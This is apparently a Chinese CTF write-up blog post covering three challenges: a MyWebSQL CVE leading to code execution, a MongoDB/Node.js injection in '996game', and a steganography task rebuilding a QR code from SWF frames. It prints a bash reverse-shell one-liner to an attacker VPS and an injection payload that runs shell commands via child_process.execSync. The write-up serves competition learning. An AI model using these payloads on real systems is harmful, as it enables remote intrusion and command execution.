前段时间忙着国赛出题，没认真打这场比赛，补坑辣
WEB
mywebsql
这道题目考了mywebsql的一个cve还有信号处理？？坑点啊admin/admin登录进去，然后就是谷歌做题了2333https://nvd.nist.gov/vuln/detail/CVE-2019-7731 https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md shell.php，至此我们就成功写了一个shell了ualarm函数，可以发出时钟信号让终端停止当前的程序，所以我们没输入，就结束程序了
1
bash -i >& /dev/tcp/vps_ip/port 0>&1
接着就是找命令让他停止了https://codingstandards.iteye.com/blog/836588 trap命令，然后就能慢慢进行下一步操作了
接下来就是慢慢算式子，出flag了
996game
一个小游戏，虽然我不知道怎样通关和通关是8是就能拿到flag（捂脸/js/server/GameServer.js有个这个东西err.message的东西db.a.find({"b":{"$gt":1,"c":"d"}})，先本地尝试一下_id了ObjectID可以看到方法的具体内容，这个要在github 去下
1
{“$gt”:”1”,”c”:”d”,”toHexString”:true,”id”:{“length”:12}}
这个时候能得到报错
1 2 3 4 5 6
{ "ok":0, "errmsg":"unknown operator: c", "code":2,"codeName":"BadValue", "name":"MongoError" }
所以此时eval内部的东西已经可控了，最后借用大佬们的脚本
1 2 3 4
Client.getPlayerID = () => ({ "$gt" :1 ,"socket.emit(require('child_process').execSync('ls'))" :"bb" , toHexString: 'aaa' , length : 0 , id: {length : 12 }}) Client.getPlayerID = () => ({ "$gt" :1 ,[`process.chdir('/');socket.emit('aaa');socket.emit(require('child_process').execSync('perl -e \\'use warnings;use strict;use IPC'+String.fromCharCode(58)+String.fromCharCode(58)+'Open2;$| = 1;chdir("/");my $pid = open2(\*out2, \*in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;\\'').toString('utf-8'))` ]:"bb" , toHexString: 'aaa' , length : 0 , id: {length : 12 }})
MISC
babyflash
首先可以拿到一个swf文件，然后去反编译一下，可以看到有一堆图片和一个音频441=21*21，尝试一下拼在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
from PIL import Imagedef run (a) : img = Image.open("frames/" +str(i)+".png" ) a,b,c,d = img.getpixel((50 ,50 )) return a s = '' for i in range(1 ,442 ): if run(i)==0 : s += '1' else : s += '0' print(s) from PIL import Imagelength = 21 img = Image.new('RGB' , (length*5 , length*5 )) data = "111111100110001111111100000100111001000001101110101011001011101101110100100101011101101110100101101011101100000100110001000001111111101010101111111000000001010100000000111011111011111000100110110011011101111011101101111001101111011010010001100000000011111010100000100011000000000001011100110011111111101011100110101100000101101000100010101110101011011000001101110100101101110000101110101101110110001100000101011100010010111111101101100001011" for x in range(length): for y in range(length): if data[x*length+y] == '1' : for xx in range(x*5 , x*5 +5 ): for yy in range(y*5 , y*5 +5 ): img.putpixel([xx, yy], (0 ,0 ,0 )) else : for xx in range(x*5 , x*5 +5 ): for yy in range(y*5 , y*5 +5 ): img.putpixel([xx, yy], (255 ,255 ,255 )) img.save('out.png' )
拼在一起确实是一个二维码，扫出来只有前半个flag，那么后面的flag就是音频隐写了
参考
https://xz.aliyun.com/t/5006 https://aluvion.github.io/2019/05/05/CTF2019-996game%E5%A4%8D%E7%8E%B0-nodejs-mongodb%E4%BD%BF%E7%94%A8/
评论